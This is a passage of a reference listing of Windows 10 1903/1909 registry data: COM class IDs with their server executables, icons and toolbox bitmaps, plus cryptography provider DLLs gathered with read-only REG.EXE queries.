{24AC8F2B-4D4A-4C17-9607-6A4B14068F97}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {24AC8F2B-4D4A-4C17-9607-6A4B14068F97}
{25B25D91-69A2-47fa-A375-FDC98189A06F}  %systemroot%\system32\SyncHost.exe
{266C72E7-62E8-11D1-AD89-00C04FD8FDFF}  %SystemRoot%\system32\wbem\scrcons.exe
{2744BC6A-4039-11E3-ABAD-8CFB6188709B}  %SystemRoot%\system32\SettingSyncHost.exe
{2B32ECC3-C3BB-4701-82BB-EB7FE370D999}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {2B32ECC3-C3BB-4701-82BB-EB7FE370D999}
{2F93C02D-77F9-46B4-95FB-8CBB81EEB62C}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {2F93C02D-77F9-46B4-95FB-8CBB81EEB62C}
{32BA16FD-77D9-4AFB-9C9F-703E92AD4BFF}  %SystemRoot%\System32\cttunesvr.exe                                                                                                                cttunesvr.CtTuner.1
{3C296D07-90AE-4FAC-86F9-65EAA8B82D22}  %SystemRoot%\system32\SppExtComObj.exe
{3eef301f-b596-4c0b-bd92-013beafce793}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793}
{4545dea0-2dfc-4906-a728-6d986ba399a9}  %SystemRoot%\System32\ThumbnailExtractionHost.exe
{45597c98-80f6-4549-84ff-752cf55e2d29}  "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Enqueue
{494C063B-1024-4DD1-89D3-713784E82044}  %systemroot%\system32\spool\tools\PrintBrmEngine.exe
{49B2791A-B1AE-4C90-9B8E-E860BA07F889}  %SystemRoot%\system32\mmc.exe                                                                                                                      MMC20.Application.1
{49BD2028-1523-11D1-AD79-00C04FD8FDFF}  %SystemRoot%\system32\wbem\unsecapp.exe
{4AA0A5C4-1B9B-4F2E-99D7-99C6AEC83474}  %SystemRoot%\system32\SettingSyncHost.exe
{4F1DFCA6-3AAD-48E1-8406-4BC21A501D7C}  %SystemRoot%\system32\wksprt.exe                                                                                                                   WorkspaceRuntime.Workspace.1
{515980c3-57fe-4c1e-a561-730dd256ab98}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {515980c3-57fe-4c1e-a561-730dd256ab98}
{549e57e9-b362-49d1-b679-b64d510efe4b}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {549e57e9-b362-49d1-b679-b64d510efe4b}
{5BD95610-9434-43C2-886C-57852CC8A120}  %SystemRoot%\explorer.exe /factory,{5BD95610-9434-43C2-886C-57852CC8A120}
{6295DF2D-35EE-11D1-8707-00C04FD93327}  %SystemRoot%\System32\mobsync.exe
{62AD5CB4-F168-4B95-8AAE-6F47A75D5D30}  %SystemRoot%\system32\oobe\UserOOBEBroker.exe
{682159d9-c321-47ca-b3f1-30e36b2ec8b9}  %SystemRoot%\explorer.exe /factory,{682159d9-c321-47ca-b3f1-30e36b2ec8b9}
{69F9CB25-25E2-4BE1-AB8F-07AA7CB535E8}  %SystemRoot%\System32\mobsync.exe
{6d8ff8e8-730d-11d4-bf42-00b0d0118b56}  %SystemRoot%\system32\upnpcont.exe
{722b3793-5367-4446-b6bb-db89b05c1f24}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {722b3793-5367-4446-b6bb-db89b05c1f24}
{73E709EA-5D93-4B2E-BBB0-99B7938DA9E4}  %systemroot%\system32\wbem\wmiprvse.exe
{73FDDC80-AEA9-101A-98A7-00AA00374959}  "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE"                                                                                                WordPad.Document.1
{75dff2b7-6936-4c06-a8bb-676a7b00b24b}  %SystemRoot%\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b}
{8086ebd4-43e3-4b19-beb3-f0ea4ecf319c}  %SystemRoot%\System32\sdiagnhost.exe
{884e2049-217d-11da-b2a4-000e7bbb2b09}  %systemroot%\system32\CertEnrollCtrl.exe                                                                                                           X509Enrollment.CX509EnrollmentWebClassFactory.1
{884e2050-217d-11da-b2a4-000e7bbb2b09}  %systemroot%\system32\CertEnrollCtrl.exe                                                                                                           X509Enrollment.CX509EnrollmentHelper.1
{8b455e45-7cc8-4253-af5b-b2cd3313e9cc}  %SystemRoot%\system32\SettingSyncHost.exe
{8D8B8E30-C451-421B-8553-D2976AFA648C}  %SystemRoot%\System32\mobsync.exe
{94E03510-31B9-47a0-A44E-E932AC86BB17}  "%ProgramFiles%\Windows Media Player\wmlaunch.exe"                                                                                                 WMP.Device.1
{9678f47f-2435-475c-b24a-4606f8161c16}  %systemroot%\system32\wsmprovhost.exe
{98068995-54d2-4136-9bc9-6dbcb0a4683f}  %systemroot%\system32\WinrsHost.exe
{98BB952B-B23E-4737-8ABD-B553E7484B38}  %SystemRoot%\system32\DeviceEnroller.exe
{995C996E-D918-4a8c-A302-45719A6F4EA7}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {995C996E-D918-4a8c-A302-45719A6F4EA7}
{9a97f12a-6b73-4dc4-b3c1-e9244c03adac}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {9a97f12a-6b73-4dc4-b3c1-e9244c03adac}
{9aa46009-3ce0-458a-a354-715610a075e6}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6}
{9acf41ed-d457-4cc1-941b-ab02c26e4686}  %systemroot%\system32\wsmprovhost.exe
{9BA05972-F6A8-11CF-A442-00A0C90A8F39}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
{9C38ED61-D565-4728-AEEE-C80952F0ECDE}  %SystemRoot%\System32\vdsldr.exe
{9ecb380c-2333-4c68-9691-a569fe446820}  %SystemRoot%\system32\fixmapi.exe
{A19141CE-D197-4C8B-82C9-4995F5303497}  %SystemRoot%\System32\DisplaySwitch.exe
{A55803CC-4D53-404c-8557-FD63DBA95D24}  %SystemRoot%\system32\WPDShextAutoplay.exe
{a677570a-2ba2-4e9a-b2e2-8a02cd8b4fd3}  %SystemRoot%\system32\PrintIsolationHost.exe                                                                                                       PrintSys.CoPrintIsolationHost.1
{aac1009f-ab33-48f9-9a21-7f5b88426a2e}  %SystemRoot%\system32\TSTheme.exe
{AB93B6F1-BE76-4185-A488-A9001B105B94}  %SystemRoot%\System32\BdeUISrv.exe                                                                                                                 BdeUISrv.BDEUILauncher.1
{B43A0C1E-B63F-4691-B68F-CD807A45DA01}  %SystemRoot%\system32\TSWbPrxy.exe                                                                                                                 MSTSWebProxy.MSTSWebProxy.1
{B8558612-DF5E-4F95-BB81-8E910B327FB2}  %SystemRoot%\System32\mobsync.exe
{b8f87e75-d1d5-446b-931c-3f61b97bca7a}  %systemroot%\system32\DXPServer.exe
{B9B05098-3E30-483F-87F7-027CA78DA287}  %SystemRoot%\system32\ApplicationFrameHost.exe
{BA441419-0B3F-4FB6-A903-D16CC14CCA44}  %SystemRoot%\system32\PickerHost.exe
{BF8841C9-378A-4CAD-B4FC-5091366CBC0D}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {BF8841C9-378A-4CAD-B4FC-5091366CBC0D}
{c08afd90-f2a1-11d1-8455-00a0c91f3880}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c08afd90-f2a1-11d1-8455-00a0c91f3880}
{C6B167EA-DB3E-4659-BADC-D1CCC00EFE9C}  %SystemRoot%\System32\FodHelper.exe                                                                                                                FodHelper.FodHelperObj.1
{c82192ee-6cb5-4bc0-9ef0-fb818773790a}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c82192ee-6cb5-4bc0-9ef0-fb818773790a}
{C947D50F-378E-4FF6-8835-FCB50305244D}  %SystemRoot%\system32\mobsync.exe
{CC6D9715-F553-4299-B2CE-6C7851FAA03A}  %SystemRoot%\system32\browser_broker.exe
{cdc32574-7521-4124-90c3-8d5605a34933}  "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /BurnCD
{ceff45ee-c862-41de-aee2-a022c81eda92}  %SystemRoot%\explorer.exe /factory,{ceff45ee-c862-41de-aee2-a022c81eda92}
{D3E34B21-9D75-101A-8C3D-00AA001A1652}  %systemroot%\system32\mspaint.exe                                                                                                                  Paint.Picture
{d54378cd-91d8-4e10-a00b-819f9a9efcb1}  %systemroot%\system32\printfilterpipelinesvc.exe                                                                                                   PrintSys.CoFilterPipeline.1
{D5E8041D-920F-45e9-B8FB-B1DEB82C6E5E}  "%ProgramFiles%\Internet Explorer\iexplore.exe" -startmediumtab
{DC7A02CD-2E47-406C-BA5A-B08EC00C4238}  %SystemRoot%\SysWOW64\fixmapi.exe
{DF4FCC34-067A-4E0A-8352-4A1A5095346E}  "%ProgramFiles%\Internet Explorer\iexplore.exe" -startmanager
{e3a4e5ca-55b2-4a06-b1ab-8fbecc7bca4b}  %SystemRoot%\system32\rundll32.exe /sta {fcc2867c-69ea-4d85-8058-7c214e611c97}
{e44e9428-bdbc-4987-a099-40dc8fd255e7}  %SystemRoot%\system32\OpenWith.exe
{E7B3C0E0-FB47-49F6-A66B-8A7C2E4E7B9C}  %SystemRoot%\splwow64.exe
{ed1d0fdf-4414-470a-a56d-cfb68623fc58}  "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play
{F0A3A195-8D6A-4BC7-BD1F-3B2A2D5807CA}  %SystemRoot%\system32\SettingSyncHost.exe
{F1EFACAA-08A1-461B-9D28-7AA8947889A0}  %systemroot%\system32\SyncHost.exe
{F2506CD7-82C2-43D9-A1D3-F85F5EFE7D09}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {F2506CD7-82C2-43D9-A1D3-F85F5EFE7D09}
{F827EC16-664E-4B05-878C-02D242229094}  %SystemRoot%\system32\CloudNotifications.exe
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}  %SystemRoot%\System32\slui.exe                                                                                                                     SPPUI.SPPUIObjectInteractive.1
{fb479c02-9ec4-4fed-8599-debe037452cb}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {fb479c02-9ec4-4fed-8599-debe037452cb}
{FDA74D11-C4A6-4577-9F73-D7CA8586E10C}  %SystemRoot%\System32\ProximityUxHost.exe
{FFB8655F-81B9-4fce-B89C-9A6BA76D13E7}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {FFB8655F-81B9-4fce-B89C-9A6BA76D13E7}              Shell.HWEventHandlerShellExecute.1

ComponentId                             DefaultIcon                                               ProgId
{025A5937-A6BE-4686-A844-36FE4BEC8B6D}  %SystemRoot%\System32\powercpl.dll,-1
{031E4825-7B94-4dc3-B131-E946B44C8DD5}  %SystemRoot%\system32\imageres.dll,-1023
{04731B67-D933-450a-90E6-4ACD2E9408FE}  %SystemRoot%\system32\Windows.Storage.Search.dll,-323
{047ea9a0-93bb-415f-a1c3-d7aeb3dd5087}  %SystemRoot%\System32\fsquirt.exe,-107
{05d7b0f4-2121-4eff-bf6b-ed3f69b894d9}  %SystemRoot%\System32\taskbarcpl.dll,-1
{088e3905-0323-4b02-9826-5d99428e115f}  %SystemRoot%\system32\imageres.dll,-184
{0c39a5cf-1a7a-40c8-ba74-8900e6df5fcd}  %SystemRoot%\system32\imageres.dll,-117
{0DB7E03F-FC29-4DC6-9020-FF41B59E513A}  %SystemRoot%\system32\imageres.dll,-198
{0DF44EAA-FF21-4412-828E-260A8728E7F1}  %SystemRoot%\system32\imageres.dll,-80
{0F563B5F-8EE2-4516-BA0A-544DE058C75B}  %SystemRoot%\System32\FileHistory.exe,-100
{1206F5F1-0569-412C-8FEC-3204630DFB70}  %SystemRoot%\system32\Vault.dll,-1
{148BD520-A2AB-11CE-B11F-00AA00530503}  %systemroot%\System32\mstask.dll,-101
{148BD52A-A2AB-11CE-B11F-00AA00530503}  %systemroot%\System32\mstask.dll,0
{15eae92e-f17a-4431-9f28-805e482dafd4}  %SystemRoot%\system32\imageres.dll,-87
{17cd9488-1228-4b2f-88ce-4298e93e0966}  %SystemRoot%\System32\imageres.dll,-24
{1CF1260C-4DD0-4ebb-811F-33C572699FDE}  %SystemRoot%\system32\imageres.dll,-108
{1FA9085F-25A2-489B-85D4-86326EEDCD87}  %SystemRoot%\System32\wlanpref.dll
{208D2C60-3AEA-1069-A2D7-08002B30309D}  %SystemRoot%\system32\imageres.dll,-25
{20D04FE0-3AEA-1069-A2D8-08002B30309D}  %SystemRoot%\System32\imageres.dll,-109
{21EC2020-3AEA-1069-A2DD-08002B30309D}  %SystemRoot%\System32\imageres.dll,-27
{2227A280-3AEA-1069-A2DE-08002B30309D}  %SystemRoot%\System32\imageres.dll,-26
{22877a6d-37a1-461a-91b0-dbda5aaebc99}  %SystemRoot%\system32\imageres.dll,-117
{24ad3ad4-a569-4530-98e1-ab02f9417aa8}  %SystemRoot%\system32\imageres.dll,-113
{2559a1f0-21d7-11d4-bdaf-00c04f60b9f0}  %SystemRoot%\System32\imageres.dll,-177
{2559a1f2-21d7-11d4-bdaf-00c04f60b9f0}  %SystemRoot%\System32\shell32.dll,-48
{2559a1f3-21d7-11d4-bdaf-00c04f60b9f0}  %SystemRoot%\System32\imageres.dll,-100
{2559a1f5-21d7-11d4-bdaf-00c04f60b9f0}  %SystemRoot%\explorer.exe,-254
{2559a1f7-21d7-11d4-bdaf-00c04f60b9f0}  %SystemRoot%\System32\imageres.dll,-24
{26EE0668-A00A-44D7-9371-BEB064C98683}  %SystemRoot%\System32\imageres.dll,-27
{28803F59-3A75-4058-995F-4EE5503B023C}  %systemroot%\system32\DevicePairingFolder.dll,-200
{289AF617-1CC3-42A6-926C-E6A863F0E3BA}  dlnashext.dll,-200
{2E17C0EF-2851-459b-A3C8-27A41D4BC9F7}  %SystemRoot%\system32\themeui.dll,7                       Theme.Manager.1
{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}  FileHistory.exe,0
{3080F90D-D7AD-11D9-BD98-0000947B0257}  %SystemRoot%\explorer.exe,-103
{3080F90E-D7AD-11D9-BD98-0000947B0257}  %SystemRoot%\explorer.exe,-258
{3134ef9c-6b18-4996-ad04-ed5912e00eb5}  %SystemRoot%\system32\imageres.dll,-117
{323CA680-C24D-4099-B94D-446DD2D7249E}  %SystemRoot%\system32\imageres.dll,-1024
{328B0346-7EAF-4BBE-A479-7CB88A095F5B}  %SystemRoot%\system32\imageres.dll,-27                    LayoutFolder
{374DE290-123F-4565-9164-39C4925E467B}  %SystemRoot%\system32\imageres.dll,-184
{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}  %SystemRoot%\system32\imageres.dll,-171
{3936E9E4-D92C-4EEE-A85A-BC16D5EA0819}  %SystemRoot%\system32\shell32.dll,-37219
{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}  %SystemRoot%\system32\imageres.dll,-113
{3dfdf296-dbec-4fb4-81d1-6a3438bcf4de}  %SystemRoot%\system32\imageres.dll,-108
{3f6bc534-dfa1-4ab4-ae54-ef25a74e0107}  %SystemRoot%\System32\rstrui.exe,0
{40419485-C444-4567-851A-2DD7BFA1684D}  %SystemRoot%\System32\telephon.cpl,-100
{430da762-8632-4840-bc61-3eeaa078e62e}  %SystemRoot%\system32\display.dll,1
{450D8FBA-AD25-11D0-98A8-0800361B1103}  %SystemRoot%\system32\shell32.dll,-235
{48123BC4-99D9-11D1-A6B3-00C04FD91555}  %SystemRoot%\System32\msxml3.dll,0                        xmlfile
{4c892621-6757-4fe0-ad8c-a6301be7fba2}  %SystemRoot%\system32\themeui.dll,7
{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}  %SystemRoot%\system32\imageres.dll,-27
{58E3C745-D971-4081-9034-86E34B30836A}  %SystemRoot%\System32\Speech\SpeechUX\speechuxcpl.dll,-1
{59031a47-3f72-44a7-89c5-5595fe6b30ee}  %SystemRoot%\system32\imageres.dll,-123
{5ea4f148-308c-46d7-98a9-49041b1dd468}  %SystemRoot%\system32\mblctr.exe,0
{5ED4F38C-D3FF-4D61-B506-6820320AEBFE}  %SystemRoot%\System32\imageres.dll,-27
{5ef4af3a-f726-11d0-b8a2-00c04fc309a4}  %SystemRoot%\system32\shell32.dll,-33
{60632754-c523-4b62-b45c-4172da012619}  %SystemRoot%\System32\usercpl.dll,-1
{60F6E464-4DEF-11d2-B2D9-00C04F8EEC8C}  %SystemRoot%\System32\DATACLEN.DLL,-2002
{62D8ED13-C9D0-4CE8-A914-47DD628FB1B0}  %SystemRoot%\System32\intl.cpl,-200
{6377013E-2C35-40F3-B8E1-1AB47D12982B}  %SystemRoot%\system32\WABSyncProvider.dll,0
{63da6ec0-2e98-11cf-8d82-444553540000}  %SystemRoot%\system32\imageres.dll,-73
{645FF040-5081-101B-9F08-00AA002F954E}  %SystemRoot%\System32\imageres.dll,-55
{67718415-c450-4f3c-bf8a-b487642dc39b}  %SystemRoot%\system32\imageres.dll,-87
{679f85cb-0220-4080-b29b-5540cc05aab6}  %SystemRoot%\system32\shell32.dll,-51380
{67CA7650-96E6-4FDD-BB43-A8E774F73A57}  %SystemRoot%\System32\imageres.dll,-1013
{6C8EEC18-8D75-41B2-A177-8831D59D2D50}  %SystemRoot%\System32\main.cpl,-100
{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}  %SystemRoot%\system32\imageres.dll,-166
{7007ACC7-3202-11D1-AAD2-00805FC1270E}  %SystemRoot%\system32\netshell.dll
{725BE8F7-668E-4C7B-8F90-46BDB0936430}  %SystemRoot%\System32\main.cpl,-200
{73FDDC80-AEA9-101A-98A7-00AA00374959}  "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE",1     WordPad.Document.1
{74246bfc-4c96-11d0-abef-0020af6b0b7a}  %SystemRoot%\system32\devmgr.dll,-201
{7A9D77BD-5403-11d2-8785-2E0420524153}  %SystemRoot%\system32\netplwiz.dll,-102
{7b81be6a-ce2b-4676-a29e-eb907a5126c5}  %SystemRoot%\system32\imageres.dll,-87
{80F3F1D5-FECA-45F3-BC32-752C152E456E}  %SystemRoot%\System32\tabletpc.cpl,-10200
{863aa9fd-42df-457b-8e4d-0de1b8015c60}  %SystemRoot%\System32\imageres.dll,-26
{87D66A43-7B11-4A28-9811-C86EE395ACF7}  %SystemRoot%\System32\srchadmin.dll,-201
{888DCA60-FC0A-11CF-8F0F-00C04FD7D062}  %SystemRoot%\system32\zipfldr.dll
{89D83576-6BD1-4c86-9454-BEB04E94C819}  %systemroot%\system32\mssvp.dll,-504
{8E908FC9-BECC-40f6-915B-F4CA0E70D03D}  %SystemRoot%\System32\netcenter.dll,-1
{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}  %systemroot%\system32\dxp.dll,0
{9324DA94-50EC-4A14-A770-E90CA03E7C8F}  %SystemRoot%\system32\themeui.dll,7
{93412589-74D4-4E4E-AD0E-E0CB621440FD}  %SystemRoot%\System32\fontext.dll
{9343812e-1c37-4a49-a12e-4b2d810d956b}  %SystemRoot%\System32\searchfolder.dll,-323
{98F275B4-4FFF-11E0-89E2-7B86DFD72085}  %SystemRoot%\system32\SearchFolder.dll,-323
{992CFFA0-F557-101A-88EC-00DD010CCC48}  %SystemRoot%\system32\netshell.dll
{9C60DE1E-E5FC-40f4-A487-460851A8D915}  %SystemRoot%\System32\autoplay.dll,-1
{9C73F5E5-7AE7-4E32-A8E8-8D23B85255BF}  %SystemRoot%\System32\SyncCenter.dll,-1000
{9DB7A13C-F208-4981-8353-73CC61AE2783}  %SystemRoot%\system32\twext.dll,-100                      Previous.Versions
{9E56BE60-C50F-11CF-9A2C-00A0C90A90CE}  %SystemRoot%\system32\sendmail.dll,-2001
{9E56BE61-C50F-11CF-9A2C-00A0C90A90CE}  %SystemRoot%\system32\imageres.dll,-110
{9FE63AFD-59CF-4419-9775-ABCC3849F861}  %SystemRoot%\System32\imageres.dll,-1022
{a00ee528-ebd9-48b8-944a-8942113d46ac}  %SystemRoot%\system32\SearchFolder.dll,-323
{A0953C92-50DC-43bf-BE83-3742FED03C9C}  %SystemRoot%\system32\imageres.dll,-189
{A8A91A66-3A7D-4424-8D24-04E180695C7A}  %systemroot%\system32\DeviceCenter.dll,-1
{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}  %SystemRoot%\system32\imageres.dll,-112
{A9B48EAC-3ED8-11d2-8216-00C04FB687DA}  %SystemRoot%\System32\DATACLEN.DLL,-2000
{ADB9F5A4-E73E-49b8-99B6-2FA317EF9DBC}  %SystemRoot%\system32\themeui.dll,7
{AFDB1F70-2A4C-11d2-9039-00C04F8EEB3E}  %SystemRoot%\System32\cscui.dll
{B12AE898-D056-4378-A844-6D393FE37956}  %SystemRoot%\system32\themeui.dll,7
{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}  %SystemRoot%\system32\imageres.dll,-183
{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}  %SystemRoot%\system32\imageres.dll,-1013
{B7BBD408-F09C-4aa8-B65E-A00B8FE0F0B9}  %SystemRoot%\system32\themeui.dll,7
{B98A2BEA-7D42-4558-8BD1-832F41BAC6FD}  %SystemRoot%\System32\sdcpl.dll,-1
{BA126E01-2166-11D1-B1D0-00805FC1270E}  %SystemRoot%\system32\netshell.dll
{BA126F01-2166-11D1-B1D0-00805FC1270E}  %SystemRoot%\system32\netshell.dll
{BB06C0E4-D293-4f75-8A90-CB05B6477EEE}  %SystemRoot%\System32\imageres.dll,-149
{BB64F8A7-BEE7-4E1A-AB8D-7D8273F7FDB6}  %SystemRoot%\System32\ActionCenterCPL.dll,-1
{BC48B32F-5910-47F5-8570-5074A8A5636A}  %SystemRoot%\System32\SyncCenter.dll,-1000
{BD7A2E7B-21CB-41b2-A086-B309680C6B7E}  %systemroot%\system32\mssvp.dll,-505
{BD84B380-8CA2-1069-AB1D-08000948F534}  %SystemRoot%\System32\fontext.dll
{c57a6066-66a3-4d91-9eb9-41532179f0a5}  %SystemRoot%\system32\imageres.dll,-1020
{C58C4893-3BE0-4B45-ABB5-A63E4B8C8651}  %SystemRoot%\System32\DiagCpl.dll,-1
{c79d1575-b8c6-4862-a284-788836518b97}  %SystemRoot%\system32\display.dll,1
{d0da2915-3f89-4519-a4ca-5e02528c8ec4}  %SystemRoot%\system32\playlistfolder.dll
{D17D1D6D-CC3F-4815-8FE3-607E7D5D10B3}  %SystemRoot%\System32\Speech\SpeechUX\sapi.cpl,-138
{D2035EDF-75CB-4EF1-95A7-410D9EE17170}  dlnashext.dll,-200
{D20EA4E1-3957-11d2-A40B-0C5020524153}  %SystemRoot%\System32\imageres.dll,-114
{d3162b92-9365-467a-956b-92703aca08af}  %SystemRoot%\system32\imageres.dll,-112
{D3E34B21-9D75-101A-8C3D-00AA001A1652}  %systemroot%\system32\mspaint.exe,-3                      Paint.Picture
{D4480A50-BA28-11d1-8E75-00C04FA31A86}  %SystemRoot%\System32\shwebsvc.dll,-107
{d450a8a1-9568-45c7-9c0e-b4f9fb4537bd}  appwiz.cpl,-1507
{D555645E-D4F8-4c29-A827-D93C859C4F2A}  %SystemRoot%\System32\accessibilitycpl.dll,-1
{D9EF8727-CAC2-4e60-809E-86F80A666C91}  %SystemRoot%\System32\fvecpl.dll,-1
{daf95313-e44d-46af-be1b-cbacea2c3065}  %SystemRoot%\system32\SearchFolder.dll,-323
{E2E7934B-DCE5-43C4-9576-7FE4F75E7480}  %SystemRoot%\System32\timedate.cpl,-50
{e345f35f-9397-435c-8f95-4e922c26259e}  %SystemRoot%\system32\SearchFolder.dll,-323
{E413D040-6788-4C22-957E-175D1C513A34}  %SystemRoot%\System32\SyncCenter.dll,-1000
{E44E5D18-0652-4508-A4E2-8A090067BCB0}  %SystemRoot%\system32\imageres.dll,-24
{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}  %SystemRoot%\system32\zipfldr.dll                         CompressedFolder
{E96F5460-09CE-4f46-88B1-F4B6B4A8E252}  %SystemRoot%\system32\wmploc.dll, 101
{ECF03A32-103D-11d2-854D-006008059367}  %SystemRoot%\system32\imageres.dll,-1002
{ED7BA470-8E54-465E-825C-99712043E01C}  %SystemRoot%\System32\imageres.dll,-27
{ED834ED6-4B5A-4bfe-8F11-A626DCB6A921}  %SystemRoot%\System32\themecpl.dll,-1
{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}  %SystemRoot%\System32\imageres.dll,-25
{F1390A9A-A3F4-4E5D-9C5F-98F3BD8D935C}  %SystemRoot%\System32\SyncCenter.dll,-1000
{F20DA720-C02F-11CE-927B-0800095AE340}  %SystemRoot%\system32\packager.dll,0                      Package
{F2DDFC82-8F12-4CDD-B7DC-D4FE1425AA4D}  %SystemRoot%\System32\mmsys.cpl,-100
{F5078F40-C551-11D3-89B9-0000F81FE221}  %SystemRoot%\System32\msxml3.dll,0                        xmlfile
{F6B6E965-E9B2-444B-9286-10C9152EDBC5}  %SystemRoot%\System32\FileHistory.exe
{F82DF8F7-8B9F-442E-A48C-818EA735FF9B}  %SystemRoot%\System32\tabletpc.cpl,-10201
{f86fa3ab-70d2-4fc7-9c99-fcbf05467f3a}  %SystemRoot%\system32\imageres.dll,-189
{FF3AE31D-55B0-4945-BDE9-622ABB334C1A}  %SystemRoot%\system32\WABSyncProvider.dll,0

ComponentId                             ProgId                           ToolBoxBitmap32
{04a1e553-fe36-4fde-865e-344194e69424}  msinkaut.InkPicture.1            %CommonProgramFiles%\Microsoft Shared\Ink\InkObj.dll, 212
{289228DE-A31E-11D1-A19C-0000F875B132}  ListPad.ListPad.1                cic.dll, 1
{44F9A03B-A3EC-4F3B-9364-08E0007F21DF}  Control.TaskSymbol.1             mmcndmgr.dll, 101
{545AE700-50BF-11D1-9FE9-00600832DB4A}  MMCCtrl.MMCCtrl.1                cic.dll, 1
{5828227c-20cf-4408-b73f-73ab70b8849f}  RdpCoreTS.WRdsProtocolManager.1  %windir%\system32\rdpcorets.dll, 1
{6BF52A52-394A-11d3-B153-00C04F79FAA6}  WMPlayer.OCX.7                   %SystemRoot%\system32\wmploc.dll, 101
{850D1D11-70F3-4BE5-9A11-77AA6B2BB201}  WIA.CommonDialog.1               %SystemRoot%\System32\wiaaut.dll, 102
{9BA05971-F6A8-11CF-A442-00A0C90A8F39}  Shell.FolderView.1               %SystemRoot%\system32\shell32.dll, 260
{AEB84C83-95DC-11D0-B7FC-B61140119C4A}  DiskManagement.Control           %SystemRoot%\System32\dmview.ocx,1
{B0395DA5-6A15-4E44-9F36-9A9DC7A2F341}  MMC.IconControl.1                mmcndmgr.dll, 1
{C3701884-B39B-11D1-9D68-00C04FC30DF6}  OlePrn.OleInstall.1              %SystemRoot%\system32\oleprn.dll, 1
{C47195EC-CD7A-11D1-8EA3-00C04F9900D7}  SysColorCtrl.SysColorCtrl.1      cic.dll, 1
{E1C5D730-7E97-4D8A-9E42-BBAE87C2059F}  WIA.DeviceManager.1              %SystemRoot%\System32\wiaaut.dll, 103

Windows 10 1903 and 1909, x86 alias I386 Processor Architecture

Cryptography providers:

REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography" /S /V "Dll"
REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography" /S /V "$DLL"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\AggregateSSLHandshakeTime\DEFAULT
    Dll    REG_MULTI_SZ    C:\Windows\System32\SecureTimeAggregator.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllLogMismatchPinRules\DEFAULT
    Dll    REG_MULTI_SZ    C:\Windows\System32\cryptui.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllOpenStoreProv\#16
    Dll    REG_SZ    C:\Windows\System32\cryptnet.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllOpenStoreProv\Ldap
    Dll    REG_SZ    C:\Windows\System32\cryptnet.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllProtectedRootMessageBox\DEFAULT
    Dll    REG_MULTI_SZ    C:\Windows\System32\cryptui.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllProtectPrompt\DEFAULT
    Dll    REG_MULTI_SZ    C:\Windows\System32\cryptui.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{000C10F1-0000-0000-C000-000000000046}
    Dll    REG_SZ    C:\Windows\System32\MSISIP.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{06C9E010-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

